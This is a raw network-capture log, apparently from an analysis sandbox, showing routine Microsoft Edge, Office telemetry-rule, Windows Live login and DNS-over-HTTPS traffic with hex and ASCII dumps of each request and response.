2024-11-21 23:11:44 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 23:11:44 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Thu, 21 Nov 2024 23:11:44 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=615eda4c0d3165a2d4f9951294e051731fcb214a3d398c87cf3569f0f2635bcf;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=615eda4c0d3165a2d4f9951294e051731fcb214a3d398c87cf3569f0f2635bcf;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.5	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:44 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:44 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:44 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: d277967d-801e-0047-0163-3b7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231144Z-178bfbc474bbcwv4hC1NYCypys000000020000000000btdt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 23:11:44 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.5	49783	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:44 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:45 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:44 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 171ae584-101e-005a-6763-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231144Z-178bfbc474bw8bwphC1NYC38b400000001x000000000rf80 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 23:11:45 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.5	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:45 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:46 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:45 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 62f36519-501e-0016-468c-3a181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231145Z-174c587ffdf59vqchC1TEByk6800000000p000000000va55 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:46 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	49789	40.126.53.18	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:46 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-21 23:11:46 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-21 23:11:47 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 21 Nov 2024 23:10:46 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BL2 x-ms-request-id: 88cc329f-55ba-4b72-9321-4ac0acec2cc1 PPServer: PPV: 30 H: BL02EPF0001D7C2 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 21 Nov 2024 23:11:46 GMT Connection: close Content-Length: 1276
2024-11-21 23:11:47 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:46 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:46 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:46 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 76e95f1f-101e-0034-7059-3b96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231146Z-178bfbc474btvfdfhC1NYCa2en000000029g000000002zqw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:46 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:46 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:47 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:46 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: af6ae163-c01e-0082-6735-3caf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231146Z-178bfbc474b9fdhphC1NYCac0n000000021000000000n2xb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:47 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:46 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:47 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:46 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 2250be27-501e-007b-7961-3b5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231146Z-178bfbc474b7cbwqhC1NYC8z4n000000021000000000g45m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:47 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.5	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:47 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:47 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:47 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: c4abe473-d01e-008e-4d67-3b387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231147Z-178bfbc474bvjk8shC1NYC83ns00000001x000000000rys7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:47 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.5	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:47 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:48 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:48 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: f47ed088-401e-0029-7f4d-3c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231148Z-15b8b599d88z9sc7hC1TEBkr4w00000000rg00000000bh0u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:48 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	49817	162.159.61.3	443	7180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:48 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-21 23:11:48 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-21 23:11:48 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 21 Nov 2024 23:11:48 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e645c6839864346-EWR alt-svc: h3=":443"; ma=86400
2024-11-21 23:11:48 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 f9 00 04 8e fb 29 03 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom))

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	49824	162.159.61.3	443	7180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:48 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-21 23:11:48 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-21 23:11:48 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 21 Nov 2024 23:11:48 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e645c6849728cdc-EWR alt-svc: h3=":443"; ma=86400
